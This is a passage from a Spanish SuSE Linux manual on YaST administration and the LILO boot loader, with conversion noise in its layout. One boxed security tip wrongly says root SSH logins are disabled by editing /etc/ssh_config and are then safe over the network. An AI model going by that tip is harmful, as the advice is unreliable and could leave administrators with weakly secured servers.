en el CD, así que se pueden ejecutar todos los pro- gramas desde el CD sin ocupar espacio en el disco duro. Hay que tener en cuenta que a partir de ahora será obligatorio colocar el CD con el Live-system antes de arrancar Linux, ya que durante el arranque éste se monta sobre el + Punto de anclaje (ingl. Mountpoint) /S.u.S.E. Si se desea trabajar con otro CD, primero se debe arrancar con el Live-CD y después desmontarlo con el comando: tierra: # umount /S.u.S.E. y a continuación se monta el otro CD. De tal forma es posible que también algunos programas básicos se enlacen con el Live-CD, los cuales correrían desde el CD, por lo tanto éste no se deja desmontar. Si se ha instalado el sistema base esto no tiene por qué ocurrir, ya que el sistema es lo suficientemente autónomo para correr completamente sin el Live-CD. Arranque su sistema otra vez sin el Live-CD en el lector. Apare- cerán algunos mensajes de error en la pantalla que pueden ser ignorados. Todos los programas necesarios para acceder al CD ya están en su sistema. Si aparece "No space left on device" integrando el Live-CD, es posi- ble que la densidad de + Inode en su partición no sea suficientemente alta, lo 110 __________________________________________________________________________________3.7.__Administración_del_sistema__________* *______________________ cual pasa muchas veces en caso de particiones pequeñas. Lamentablemente, esto solo se puede modificar formateando otra vez la partición. Para este for- mateo indique entonces una densidad más alta (p. ej. 1KB por inode en lugar de 4KB ~ ver también apartado 3.4.1 en la página 93Menú de experto para ajustes finossubsection.3.4.1). Si realmente se termina la integración del Live-CD por falta de espacio, no se podrá arrancar YaST ni siquiera para desconectar el sistema-Live, porque YaST ya no puede generar los ficheros que necesita para su arranque. Se deben borrar algunos enlaces simbólicos que apuntan a /S.u.S.E./.... 3 Arrancar después YaST y desconectar de nuevo el sistema-Live. Por lo tanto, la ventaja principal del sistema-Live es el bajo gasto de espacio en el disco duro; existen también las siguientes desventajas: o El acceso al sistema-Live es lento, porque los accesos al lector CD-ROM son muchos más lentos que los mismos a un disco duro. o Como se generan muchísimos enlaces simbólicos y cada uno gasta un + Inode, hace falta tener suficientes inodes libres. La cantidad de inodes se ha fijado al generar el sistema de ficheros y solamente puede ser modifi- cada formateando otra vez la partición. o Hace falta una partición con un tamaño mínimo de 50MB, para poder integrar el Live-CD. 3.7.5 Configuración del Login Aquí es posible configurar el estilo del ''login'', decidirse por una pantalla de texto o entrar directamente al sistema X Window. Si se desea un login gráfico se puede disponer del sencillo XDM o del KDM más sofisticado; si se opta por KDM , se puede indicar adicionalmente quienes son los que tienen derecho a efectuar una parada (shutdown ) del sistema. La alternativa al ''login'' gráfico es el login con una consola + ASCII y el arranque de los X con el comando startx (figura 3.25 en la página siguiente). _______________________________________________________________________________________________________________________|| |||||||| Si no hay total seguridad en que los X (sistema X Window) arranquen sin ||| | |||||||| || | |||||||| problemas, no se deberían activar ni XDM ni KDM. En todo caso pruebe || | |||||||| primero si se pueden arrancar los X desde una consola antes de activar un || | |||||||| || | |||||||| gestor de ventana para el login. || | ||||||||_______________________________________________________________________________________________________________||_ El nivel de ejecución 3 (ingl. runlevel 3) se anota en /etc/inittab como nivel de ejecución predeterminado y se define una nueva variable en /etc/ rc.config (ver apartado 77 en la página 445Configurar e iniciar servicios de red y localesHfootnote.77). Si se usa el nivel de arranque tres para otro asunto que no sea el de ejecutar XDM o KDM, siempre se activará uno de ellos. 3.7.6 Opciones susewm Este menú de configuración sirve para seleccionar el entorno gráfico. 3 ____________________________________________________ En el apartado 19.7.5 en la página 476Copiar, renombrar y borrar ficherossubsection.19.7.5 se explica cómo borrar ficheros y enlaces. * * 111 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Figura 3.25: Configuración del Login Figura 3.26: Configuración susewm Seleccione aquí el gestor de ventanas por defecto (ingl. Windowmanager) y determine para cuáles gestores susewm se deben generar ficheros de config- uración que estén disponibles para todo el sistema (ver las explicaciones téc- nicas en el apartado 9.5 en la página 277Configuración del windowmanager con SuSEwm section.9.5) . 3.7.7 Administración de usuarios Con YaST es posible generar usuarios nuevos, borrarlos o modificarlos de manera amigable. El diálogo correspondiente se encuentra en `Admin- 112 __________________________________________________________________________________3.7.__Administración_del_sistema__________* *______________________ istración de sistema' bajo la opción `Administración de usuar- ios'. Figura 3.27: Administración de usuarios con YaST Seleccionando en este apartado `Acceso al modem permitido', el usuario en cuestión puede usar este dispositivo; dando este permiso el usuario se da de alta en los grupos `uucp' y `dailout'. Todos los usuarios que pertenezcan a este grupo tendrán permiso de establecer conexiones PPP. Todos los ficheros del directorio de ejemplo /etc/skel se copian al direc- torio de un nuevo usuario, así que existe directamente una cierta preconfig- uración mínima para todos los usuarios nuevos. Después de la instalación, cada usuario tiene, evidentemente, la posibilidad de adaptar estos ficheros a sus necesidades. Aparte de esto YaST ejecuta dos scripts, que se pueden usar para hacer algu- nas tareas rutinarias adicionales: o Después de haber generado el usuario se ejecuta ~ si existe ~ el script /usr/sbin/useradd.local. En este momento el usuario ya está dado de alta en /etc/passwd y en /etc/shadow. También existe ya el direc- torio home del usuario y los ficheros de /etc/skel ya están copiados en él. o Antes de borrar a cualquier usuario, se llama ~ si existe ~ el script /usr/ sbin/userdel.local. En este momento el usuario todavía está dado de alta en los ficheros passwd y shadow y su directorio home también existe aún. A ambos scripts se les pasa el nombre de usuario como parámetro. Si el script necesita datos adicionales (user-ID, login-shell, directorio-Home) es relativamente fácil leerlos del fichero /etc/passwd. Si se tiene suficiente experiencia y parece demasiado trabajo arrancar YaST para los fines de administración de usuario, también están a disposición los programas useradd y userdel . * * 113 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Algo sobre PAM Los ficheros de PAM (ingl. Pluggable Authentication Modules) se encuentran en /etc/pam.d. La documentación para programadores y administradores de sistema se encuentra en /usr/doc/packages/pam. SuSE Linux es capaz de manejar contraseñas del tipo MD5; estos puede tener más de 8 caracteres. Hay que tener un poco de cuidado, ya que la encriptación MD5 no no es compatible con crypt() , la función estándar bajo Unix. Esto significa que muchos Unix comerciales y algunos programas no son capaces de funcionar con contraseñas del tipo MD5. El fichero /usr/doc/packages/pam/md5.config contiene información sobre la configuración. 3.7.8 Administración de grupos Con YaST también se pueden administrar grupos aparte de usuarios. Figura 3.28: Administración de grupos con YaST Bajo Linux (como en general bajo Unix) hay que asignar un grupo a cada usuario. Esto se necesita, porque de la dependencia al grupo se derivan determinados derechos de acceso, p. ej. a ficheros. Con este concepto se puede restringir el acceso hacia algunos directorios y solo permitirlo a un determinado grupo a través de una contraseña. Hay algunos grupos que ya están previstos en Linux, como por ejemplo los grupos `users', `root', etc. La forma `users' solamente es la representación en forma de texto de un grupo de usuarios pues la computadora trabaja internamente con cifras, los denominados identificadores de grupo (ingl. group id). El fichero de config- uración de los grupos de usuario es /etc/group. Hasta aquí los detalles técnicos, ya que usando YaST , generar grupos no rep- resenta ningún problema. El diálogo para la administración de grupos se 114 __________________________________________________________________________________3.7.__Administración_del_sistema__________* *______________________ encuentra bajo `Administración del sistema' en la opción `Admin- istración de grupos', como se puede ver en la figura 3.28 en la página anterior. 3.7.9 Crear respaldos/backups Para hacer un respaldo (ingl. backup) rápido y selectivo resulta útil crear copias de seguridad justamente de los ficheros que se han generado o modi- ficado desde la última instalación. Estos ficheros son típicamente los de con- figuración y de datos y precisamente esto es lo que realiza la función aquí descrita. Figura 3.29: Respaldo (Backup) con YaST El correspondiente diálogo se constituye de tres pasos: 1. Definir contenido En esta pantalla se define una lista de los directorios a excluir del + Back- up. Están previstos para ser excluidos /tmp, /dev o /proc, pero se de- berían agregar a esta lista los CD-ROMs y directorios NFS montados tal como las particiones DOS que no lo estén. Mientras más directorios se excluyan del mecanismo backup, más rápido funciona, porque no hace falta efectuar comparaciones innecesarias entre los directorios y las de- scripciones de los paquetes._ Las_ entradas en la lista de__exclusiones_ se modifican con las teclas |+_ |y |-_ |para añadir y borrar. Con |F____1|0se con- tinúa con la siguiente función. 2. Búsqueda Ahora YaST busca en el sistema los ficheros a incluir en el respaldo. La cantidad y el tamaño de los ficheros ya encontrados se indica en cada instante. Al final de la búsqueda aparece una lista con todos los datos encontrados_de_la_cual_se pueden borrar todavía ficheros con la tecla de espacio | ____________|. Estos ficheros no se respaldan. 3. Fijar comando de respaldo Aquí se determina cómo guardar los ficheros, para lo cual se introduce el nombre de fichero y se pueden definir opciones. * * 115 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ El mecanismo de respaldo solo puede funcionar si no ha existido ninguna influencia externa que haya podido modificar las fechas. Además, la función necesita bastante memoria RAM, ya que solamente los nombres de fichero de un CD-ROM típico ocupan 6 MB. Aparte de esto, se necesita el espacio en disco para el respaldo, espacio que se puede reducir por el factor dos activando la compresión de ficheros. No por nada, lo más recomendable es grabar el respaldo en una cinta. 3.7.10 Configuraciones de seguridad No se debe modificar la configuración predeterminada sin conocer el trasfon- do de cada acción. Es imprescindible leer el capítulo 18 en la página 451Se- guridad y Confianzachapter.18. ________________________________________________________________________________________________________* *________|| | Para deshabilitar los ''logins'' del superusuario `root', se debe adap- * * |||| | * * ||| | tar el fichero /etc/ssh_config en el cual la definición por defecto es * * ||| | PasswordAuthentication yes . ~ Configurando ssh correctamente, los * * ||| | * * ||| | ''logins'' de `root' por la red son seguros. * * ||| |_______________________________________________________________________________________________________* *________|||_ 3.7.11 Configurar XFree86[tm] Hay diferentes herramientas para configurar el sistema X Window (XFree86); se recomienda probar primero con SaX , cuyas características se detallan explícitamente en el apartado 8.1 en la página 238Configuración con SaX section.8.1. 3.7.12 Cambiar fichero de configuración La administración de sistema de SuSE Linux se efectúa casi completamente con un fichero de configuración central (/etc/rc.config). Los distintos scripts de arranque evalúan este fichero durante el arranque y el sistema se configura al respecto. Usando YaST es posible modificar en un fichero central los distintos apuntes del fichero de configuración y así adaptar el sistema a gusto sin necesidad de conocer en detalle todos los ficheros que resulten afectados. Para modificar el valor de una variable, primero se selecciona con las teclas |#__||__|"y después se pulsa |______|-o |F___|_3para modificarla. Si se modifica este fichero a mano, se debe ejecutar posteriormente el script SuSEconfig . Este script se encarga de pasar las modificaciones hechas en /etc/rc.config a los correspondientes ficheros de configuración de ca- da programa específico. En el apartado 17.6 en la página 437Las variables en /etc/rc.config ~ Configuración de sistemasection.17.6 hay una de- scripción detallada del fichero de configuración con todas las posibilidades de ajuste. 116 __________________________________________________________________________________3.7.__Administración_del_sistema_________________* *_______________ Figura 3.30: Modificación del fichero de configuración con YaST 117 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ 118 Capítulo 4 Arrancar y gestor de arranque ~ LILO , loadlin , etc. En este capítulo se presentan diferentes métodos para + Arrancar el sistema. Para que se puedan distinguir los diferentes métodos, al principio se explican algunos detalles sobre el proceso de arranque en PCs. 4.1 El proceso de arranque en un PC Después de encender la computadora, la + BIOS (ingl. Basic Input Output System), inicializa pantalla y teclado y comprueba la memoria RAM. ¡Hasta este momento para su PC todavía no existe ningún medio de almacenamiento (disquete, disco duro)! Después de que el sistema base haya terminado con su ''excursión al interior'' empieza a ocuparse de sus alrededores. De los valores que están en la CMOS (CMOS setup) se lee la información sobre los dispositivos más importantes, la hora y la fecha. En este momento se reconoce el primer disco duro y su geometría así que la carga del sistema operativo desde el disco puede comenzar. Para ello se lee desde el primer disco duro, el primer sector físico de datos del tamaño de 512 Bytes y se carga a la memoria. El control de ejecución pasa a este pequeño programa y la ejecución de los comandos en éste determina a partir de ahora el proceso de arranque. Estos primeros 512 Bytes en el primer disco duro se denominan en inglés Master Boot Record (+ MBR). La explicación de estos hechos ~ aunque aquí muy simplificados ~ permite sacar conclusiones importantes para el entendimiento de lo expuesto a con- tinuación: Hasta el justo momento de cargar el MBR, el arranque es exacta- mente el mismo en cualquier PC y completamente independiente del sistema operativo instalado; el PC solamente tiene acceso a los dispositivos a través de las rutinas (drivers) grabadas en la BIOS. Master Boot Record La estructura del MBR está definida por una convención independiente de los sistemas operativos. Los primeros 446 Bytes están reservados para código de programas1_.___Los__próximos__64__Bytes__ofrecen__espacio_ para una tabla de 1 ¡El código mismo y sus capacidades sí que dependen del sistema operativo responsable de la generación del MBR! * * 119 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ particiones con hasta 4 entradas (ver apartado 2.8 en la página 70Particionar para principiantessection.2.8 y apartado 2.9 en la página 71Particionar para avanzadossection.2.9) 2 . Los últimos 2 Bytes deben contener una ''cifra mágica'' (AA55 ): un MBR que tenga otra cifra será tratado como no válido por parte de la BIOS y de todos los sistemas operativos de PC Sectores de arranque Los sectores de arranque son los primeros de cada partición3 . Ofrecen 512 Bytes de espacio y sirven para albergar código, que puede ser ejecutado por el sistema operativo que resida en esta partición. En el caso de los sec- tores de arranque de DOS-,Windows- u OS/2 esto es realmente así y aparte del código ejecutable también contienen información importante del sistema de ficheros. Por el contrario, los sectores de arranque de una partición Linux están en principio vacíos (!), incluso después de haber generado el sistema de ficheros. Por lo tanto, una partición Linux no es autoarrancable aunque tenga un kernel y un sistema de ficheros raíz válidos. Un sector de arranque con código de arranque válido lleva en los últimos 2 Bytes la misma ''cifra mágica'' que el MBR. Arranque de DOS o Windows 95/98 En el MBR de DOS del primer disco duro hay una entrada de partición marcada como activa (ingl. bootable), es decir, que se busca allí el sistema a cargar4 . El código de programa de DOS en el MBR representa el primer paso del Bootloader (ingl. first stage bootloader) y comprueba si se encuentra un sector de arranque válido en la partición indicada. Si fuera el caso, el código en este sector de arranque se ejecuta como segundo paso del Bootloader (ingl. secondary stage loader). Este código carga los programas de sistema y finalmente aparece el conocido prompt del DOS o se levanta la superficie de Windows 95/98. En DOS una sola partición primaria puede ser marcada como activa, lo cual significa que el sistema DOS no puede residir en una unidad lógica dentro de una partición extendida. 4.2 Conceptos de arranque El ''concepto de arranque'' más simple que uno se puede imaginar es el de una computadora con un solo sistema operativo. Una configuración muy exten- dida en este sentido es la de DOS o Windows 95/98 como sistema operativo único en la computadora. Para este caso, acabamos de comentar los procesos que transcurren durante el inicio. Un proceso de arranque semejante también sería imaginable para una com- putadora de ''solo-Linux'' y en este caso no sería necesaria la instalación de _____________________________________________2 Sin la tabla de particiones no puede existir ningún sistema de ficheros (las unidades de disco en MS-DOS) o sea, es prácticamente imposible usar el disco duro. 3 A excepción de la partición extendida que es un ''contenedor'' para otras particiones. 4 Esto significa que DOS debe estar instalado, en todo caso, en el primer disco duro. 120 ________________________________________________________________________________________4.2.__Conceptos_de_arranque_________* *______________________ LILO . Pero en tal escenario no se podría indicar al kernel una línea de co- mandos para el inicio (con información adicional sobre el hardware o con indicaciones especiales respecto al arranque, etc.). En cuanto existen varios sistemas operativos instalados en una computadora existen también diferentes conceptos de arranque: Arrancar sistemas operativos adicionales de disquete: El primer sistema operativo se carga desde el disco duro y los demás desde la disquetera usando disquete de arranque. o Condición: Existe una disquetera desde la cual se puede arrancar. o Ejemplo: Se instala Linux como sistema adicional en un sistema DOS, Windows 95/98 o OS/2 y se arranca Linux siempre desde un disquete de arranque. o Ventajas: Se ahorra la instalación del gestor de arranque que en defini- tiva es un poco crítico. o Desventajas: Se debe mantener siempre un buen stock de disquetes de arranque que funcionen y el arranque tarda más. o El hecho de que Linux no pueda arrancar sin el disquete de arranque puede ser una ventaja tal como una desventaja según las condiciones de uso. Arrancar sistemas adicionales en tiempo de ejecución: Se carga un deter- minado sistema operativo en cada arranque y los demás se cargan de man- era opcional a través del que ya está cargado. o Condición: Deben existir programas útiles para esto. o Ejemplos: La carga de Linux desde DOS mediante el uso de load- lin.exe (ver apartado 4.9 en la página 143Configuración del mecan- ismo de arranque con loadlinsection.4.9) o la carga de un servidor NetWare desde DOS con server.exe . Instalación de un gestor de arranque: Un gestor de arranque (ingl. Boot- manager), permite mantener varios sistemas operativos en una computa- dora y alternar entre ellos. El usuario selecciona el sistema operativo durante el arranque; para cambiar de sistema operativo se debe reiniciar la computadora. o Condición: El gestor de arranque trabaja en ''armonía'' con todos los sistemas operativos instalados. o Ejemplos: En determinadas circunstancias funcionan bien con Linux el gestor de arranque de OS/2 (ver apartado 4.7.3 en la página 137OS/2 y Linuxsubsection.4.7.3) y el boot.sys de DOS. En las siguientes líneas se explica la instalación y configuración de LILO , que es el gestor de arranque estándar para Linux. En [Alm96 ]5 hay explicaciones más detalladas. Al final se añaden detalles sobre loadlin . 5 ____________________________________________________ Se puede imprimir este documento con el comando lpr /usr/doc/packages/lilo/user.dvi * * 121 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ 4.3 Resumen de LILO LILO se presenta El gestor de arranque de Linux es apto para su instalación en el MBR (hay detalles más adelante, en la página siguiente). LILO tiene acceso a ambos discos duros que se pueden acceder en modo real y por su modo de insta- lación es capaz de encontrar todos los datos que necesita en los discos duros ''crudos''6 sin tener información acerca de la partición. Es por eso que existe también la posibilidad de iniciar sistemas operativos desde el segundo disco duro. En comparación al proceso de arranque de DOS, se ignoran los datos en la tabla de particiones. Pero la mayor diferencia respecto al arranque tipo DOS es la posibilidad de elegir entre diferentes sistemas operativos, siendo uno de ellos Linux. Después de la carga del MBR en la memoria RAM se ejecuta LILO , que le permite al usuario elegir de una lista de sistemas operativos instalados (ver en esta página). ¿Qué es LILO y qué sabe hacer? LILO es un gestor de arranque universal. Es capaz de cargar y arrancar durante el inicio los siguientes programas de sistema: o Sectores de arranque de particiones (Inicio de un sistema operativo desde esa partición) o Kernel de Linux (Inicio de Linux) La mayoría de los otros gestores no saben hacer lo segundo. Además existe la posibilidad de pasar con LILO una línea de comando al kernel de Linux. Por razones de seguridad es preferible proteger total o parcialmente los servicios de Linux. ¿Cuál es la apariencia del arranque con LILO ? Cuando LILO se inicia, aparecen el texto LILO y un saludo en pantalla, que se ha definido durante la configuración (ver apartado 4.4.2 en la página 128Otras opciones de configuración (Selección)subsection.4.4.2). Después aparece el prompt: boot: Al introducir aquí un nombre se selecciona el sistema operativo, que arranca inmediatamente después. Los nombres de los sistemas operativos se configu- ran con anterioridad. En este momento es posible pasar una línea de comando al kernel de Linux. El listado_de_los nombres dados_a los distintos sistemas operativos aparece pulsando |T____a|b(= tecla |T____a|b). _____________________________________________6 Se considera un dispositivo ''crudo'' (disco duro, disquete, partición . . . ) (ingl. raw device), cuando el acceso a él se efectúa de forma directa sin pasar por el correspondiente sistema de ficheros. 122 _______________________________________________________________________________________________4.3.__Resumen_de_LILO________* *______________________ ¿Qué partes conforman LILO ? La maquinaria de arranque de LILO se compone de las siguientes partes7 : o un sector de arranque tipo LILO con un comienzo del código de LILO (''primera fase'') que activa el LILO real. o el código máquina de LILO (su ''corazón''). Se encuentra normalmente en: /boot/boot.b o un fichero map, que genera LILO durante su instalación y que contiene información sobre la ubicación del kernel de Linux y de otras informa- ciones adicionales. Se encuentra normalmente en: /boot/map o opcional: un fichero de mensaje, cuyo contenido se muestra antes de la selección de arranque como mensaje de saludo. Se encuentra normalmente en: /boot/message o los distintos kernel de Linux y sectores de arranque, que LILO debe ofrecer para el arranque. _______________________________________________________________________________________________________________________|| |||||||| ¡Cualquier acceso de escritura y también el movimiento de alguno de ||| | |||||||| estos componentes convierte el fichero map en no válido y pide por lo || | |||||||| || | |||||||| tanto una Reinstalación de LILO (ver en la página 131Instalación después || | |||||||| del cambio de configuraciónsection.4.5)! Esto se refiere especialmente a || | |||||||| || | |||||||| cualquier cambio del kernel (p. ej. la actualización). || | ||||||||_______________________________________________________________________________________________________________||_ ¿Dónde se puede instalar LILO ? En realidad se trata solo del sector de arranque de LILO (''primera fase''). Antes de detallar esto hay que mencionar una restricción general: _______________________________________________________________________________________________________________________|| |||||||| ¡Todos los componentes de la maquinaria de arranque de LILO deben ||| | |||||||| || | |||||||| encontrarse dentro de la zona física de los primeros 1024 cilindros del || | |||||||| disco duro! || | |||||||| || | |||||||| Esto se puede conseguir mediante una pequeña partición aparte, que se || | |||||||| monta sobre el directorio /boot y que se encuentra totalmente dentro de || | |||||||| || | |||||||| los primeros 1024 cilindros. || | ||||||||_______________________________________________________________________________________________________________||_ Durante la fase de arranque del sistema solamente se puede acceder a estas zonas físicas debido a las restricciones de los drivers de la BIOS. Por lo demás, el acceso también se restringe generalmente a los dos primeros discos. Además, en caso de tener una BIOS antigua, es posible que la existencia de un disco (E)IDE excluya a los del tipo SCSI de la posibilidad de arrancar. Solo las BIOS recientes permiten el acceso a dispositivos adicionales. Por ejemplo en combinación con controladores EIDE hay acceso hasta 4 dis- cos EIDE. Muchas combinaciones modernas de BIOS y adaptadora SC- SI permiten__incluso__''empujar__hacia__delante''__los__dispositivos_ SCSI para 7 A propósito: Los sectores de arranque que instala LILO contienen una secuencia de bytes que también es característica para los virus de sector de arranque. Por eso no es de extrañar que algunos programas antivirus piensen que han encontrado el virus de sector de arranque AIRCOP en ficheros como /boot/chain.b o /boot/os2_d.b. ;-) * * 123 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ hacerlos arrancables. El uso de esta posibilidad de LILO mediante la opción disk se explica en la página 129Otras opciones de configuración (Selección)Hfootnote.21. Para simplificarlo se resume todo bajo la clave Límite de 1024 cilindros; en todo caso, se debe considerar este hecho durante la fase de particionar antes de la primera instalación de Linux ~ despúes sería demasiado tarde y podría generar un montón de trabajo adicional! Los detalles sobre cómo tratar esto se encuentran en el apartado 4.8.2 en la página 140El límite de 1024 cilindrossubsection.4.8.2. Existen los siguiente lugares para instalar el sector de arranque de LILO : o En un disquete Este es el método más seguro pero a su vez el más lento para arran- car con LILO (ver en la página 134Disquete de arranque con LILO Hfootnote.24). Quien haya leído este capítulo y ahora no desee modi- ficar los sectores de arranque, debería (por el momento) usar la variante con el disquete. o En el sector de arranque de una partición Linux primaria del primer disco duro Esta variante no toca el MBR. Antes de arrancar hace falta marcar la partición con fdisk como activa. Si Linux se encuentra completamente en unidades o particiones lógicas del segundo disco duro, entonces para LILO solo queda el sector de arranque de la partición extendida en el primer disco (si éste existe). El programa fdisk de Linux también puede activar estas particiones. Este procedimiento resulta un poco complicado cuando se desea arrancar varios sistemas operativos desde el disco duro. Antes de cambiar de sistema operativo hace falta desactivar, bajo el sistema operativo actual, la partición de arranque del mismo y activar la del sistema a arrancar. Los siguientes dos procedimientos sirven mejor para este caso, ya que se evita el continuo cambio de estado de las particiones. o En el Master Boot Record Esta variante ofrece máxima flexibilidad. Se trata especialmente de la única posibilidad de arrancar Linux desde el disco duro, cuando todas las particiones de Linux se encuentran en el segundo disco y no hay ninguna partición extendida en el primero. La modificación del MBR conlleva el riesgo de efectuarse indebidamente. En el apartado 4.5 en la página 131Instalación y desinstalación de LILO section.4.5 se explican las precauciones necesarias a tener en cuenta. o Si se ha usado hasta ahora otro gestor de arranque . . . . . . y se quiere seguir usando el mismo, existen, según sus capacidades, un par de posibilidades más. Un caso muy frecuente: Tiene una partición primaria en el segundo disco y desde allí quiere arrancar su SuSE Linux; suponiendo además que el ''otro'' gestor de arranque puede iniciar esa partición. En este caso puede hacerlo instalando LILO en el sector de arranque e indicando al otro gestor que la partición se puede arrancar. 124 _______________________________________________________________________4.4.__LILO__à_la_carte:_La_configuración_____________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| Se debe tener cuidado con la idea de arrancar una partición lógica de ||| | ||||||||| Linux instalando allí LILO : Muchas veces funciona, pero aunque el ''otro'' || || |||||||| gestor de arranque pueda arrancar particiones lógicas, en la actualidad ||| | |||||||| || | |||||||| actualmente , no se garantiza ningún éxito. || | ||||||||_______________________________________________________________________________________________________________||_ Naturalmente que se puede probar, quizás con una instalación muy pe- queña de Linux. Tal vez se tenga suerte, pero en todo caso es mejor establecer como mínimo una partición primaria arrancable. 4.4 LILO à la carte: La configuración Como gestor de arranque flexible, LILO ofrece múltiples posibilidades para adaptarse a las necesidades individuales. A continuación se explican las opciones más importantes; explicaciones más exhaustivas se encuentran en [Alm96 ]. La configuración de LILO se graba en el fichero /etc/lilo.conf. Al efec- tuar la primera instalación, recomendamos dejar hacerlo a YaST . Un posible retoque de lilo.conf se puede hacer a base del fichero generado por YaST . _______________________________________________________________________________________________________________________|| |||||||| Nadie a parte de `root' debe tener permiso de lectura del fichero ||| | |||||||| /etc/lilo.conf, ya que éste puede contener contraseñas (ver || | |||||||| || | |||||||| apartado 4.4.2 en la página 128Otras opciones de configuración || | |||||||| (Selección)subsection.4.4.2). De hecho esto es estándar en SuSE Linux; || | |||||||| || | |||||||| se puede comprobar si se desea. En cualquier caso ayuda el comando: || | |||||||| tierra: # chmod 0600 /etc/lilo.conf || | ||||||||_______________________________________________________________________________________________________________||_ Es aconsejable guardar bien el fichero de configuración de la última insta- lación de LILO y hacer un respaldo antes de cualquier cambio. Ningún cam- bio se efectúa antes de instalar nuevamente LILO con la última versión del fichero de configuración (apartado 4.5 en la página 131Instalación y desinsta- lación de LILO section.4.5)! 4.4.1 El contenido del fichero lilo.conf El fichero /etc/lilo.conf comienza con un apartado global (ingl. global options section), con parámetros generales seguido de uno o varios apartados de sistema (ingl. image sections), para los distintos sistemas operativos que LILO debe arrancar. Cada nuevo apartado de sistema se introduce por la opción image o other . El orden de aparición de los sistemas operativos en lilo.conf es importante por el hecho de que se arranca automáticamente el que aparece primero, en caso de que el usuario no intervenga. Esta intervención se puede realizar dentro de un tiempo de espera definido por las opciones delay o timeout . El fichero 4.4.1 en la página siguiente muestra una configuración de ejemplo para una computadora con Linux y DOS. Existen tres opciones de arranque definidas por este fichero: un kernel de Linux nuevo y uno antiguo en la partición raíz actual (partición primaria del segundo disco) y MS-DOS (o Windows 95/98) en /dev/hda1. * * 125 | * * | 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ ________________________________________________________________________________________________________* *________|||| | # Fichero de configuración de LILO * * | ||# Start LILO global Section * * || | boot=/dev/hda # LILO destino de instalación: * * | | backup=/boot/MBR.hda.970428 # MBR Fichero respaldo para MBR * * | | * * | | # antiguo del 28. Abril 1997 * * | | #compact # faster, but won't work on all systems. * * | | #linear * * | | * * | | message=/boot/message # LILO's saludos * * | | prompt * * | | * * | | password = q99iwr4 # Contraseña general de LILO * * | | timeout=100 # esperar 10 s en el prompt antes de arrancar * * | | * * | | # con parámetros por defecto * * | | vga = normal # modo texto normal (80x25 caracteres) * * | | * * | | # End LILO global section * * | | * * | | * * | | # Linux bootable partition config begins * * | | image = /boot/vmlinuz # Aquí los valores por defecto * * | | root = /dev/hdb3 # Partición root para kernel * * | | * * | | read-only * * | | label = Linux * * | | * * | | # Linux bootable partition config ends * * | | * * | | * * | | # Second Linux bootable partition config * * | | image = /boot/vmlinuz.old * * | | * * | | root = /dev/hdb3 * * | | read-only * * | | * * | | label = Linux.old * * | | # 2nd Linux bootable partition config ends * * | | * * | | * * | | # DOS bootable partition config begins * * | | other = /dev/hda1 * * | | * * | | label = DOS * * | | loader = /boot/chain.b * * | | * * | | table = /dev/hda * * | | # DOS bootable partition config ends * * | |_______________________________________________________________________________________________________* *________ | Fichero 4.4.1: Configuración de ejemplo en /etc/lilo.conf Todo lo que está en /etc/lilo.conf entre un símbolo # y el fin de la línea cuenta como comentario. LILO lo ignora igual que el espacio en blanco y usándolo se mejora la legibilidad. Repasamos brevemente las líneas más importantes; opciones adicionales se describen en el apartado 4.4.2 en la página 128Otras opciones de configu- ración (Selección)subsection.4.4.2. o Sección global (Apartado de parámetros) ~ boot= Dispositivo sobre el cual se debe instalar (en el primer sector) el sector de arranque de LILO (el destino de la instalación). puede ser: una disquetera (/dev/fd0), una partición (p. ej. /dev/ 126 _______________________________________________________________________4.4.__LILO__à_la_carte:_La_configuración_____________* *______________________ hdb3), o todo un disco (p. ej. /dev/hda): lo último significa la in- stalación en el MBR. Configuración por defecto: Si falta este parámetro, LILO se instala en la partición raíz actual. ~ prompt Fuerza la aparición del + Prompt de LILO . ¡Por defecto no sale ningún prompt! (ver apartado 4.4.2 en la página siguiente, opción delay ). Se recomienda ponerlo cuando LILO debe arrancar más de un sistema operativo. Junto con esta opción se debería definir también la opción timeout para que se pueda efectuar un reinicio automático cuando el usuario no introduce nada en el prompt. ~ timeout= Define un tiempo de espera en el prompt y permite así un reinicio au- tomático cuando no se introduce nada en el prompt. _es_el_tiempo_que queda para introducir un comando. Pul- sando |S___________|hiften*el prompt, el tiempo comienza a contar de nuevo. Configuración predeterminada: infinito, o sea sin reboot automático! o Sección Linux ~ image= Aquí tiene que aparecer el nombre de la imagen del kernel a arrancar. Esto será por lo general /boot/vmlinuz y en versiones antiguas de SuSE Linux (antes de la versión 6.0) /vmlinuz o /zImage. ~ label= Un nombre para el sistema a libre elección pero fijo dentro de /etc/ lilo.conf (p. ej. Linux ). La longitud máxima es de 15 caracteres; se permiten solo caracteres normales, cifras y ''guión bajo'' (`_'); no se permiten espacios o caracteres especiales como la ñ o la Ü, etc8 . El valor por defecto es el nombre de la imagen del kernel (p. ej. /boot/ vmlinuz). Introduciendo un nombre en el prompt de LILO durante el arranque del sistema, se selecciona el sistema operativo deseado y en caso de us- ar varios es recomendable proporcionar una explicación más detallada de los nombres y sistemas en un fichero de mensaje (ver apartado 4.4.2 en la página siguiente, opción message ). ~ root= Esta opción indica al kernel la partición root del sistema Linux (p. ej. /dev/hda2). ¡Se recomienda definirlo por seguridad! Sin esta opción el kernel toma la partición root que está apuntada en él mismo9 . o Otro sistema ~ other= La variable other indica a LILO las particiones de arranque de otros ___sistemas_para_poder_iniciarlos_(p._ej.__/dev/hda1)._ 8 Las reglas exactas para los caracteres permitidos se encuentran en [Alm96 ], capítulo 3.2.1. 9 Se puede ver con el comando rdev . * * 127 4. Arrancar y gestor_de_arranque__________________________________________________________________________________________________* *_______________________________________@ ~ loader= Para la carga de un sector de arranque ajeno, LILO construye en su fichero map un ''pseudo-MBR'' (arrancando la computadora, LILO inicia primero el pseudo-MBR y a su vez éste inicia el sector de ar- ranque ajeno). Esta opción indica el fichero con el código para el pseudo-MBR. El valor por defecto y generalmente correcto es: 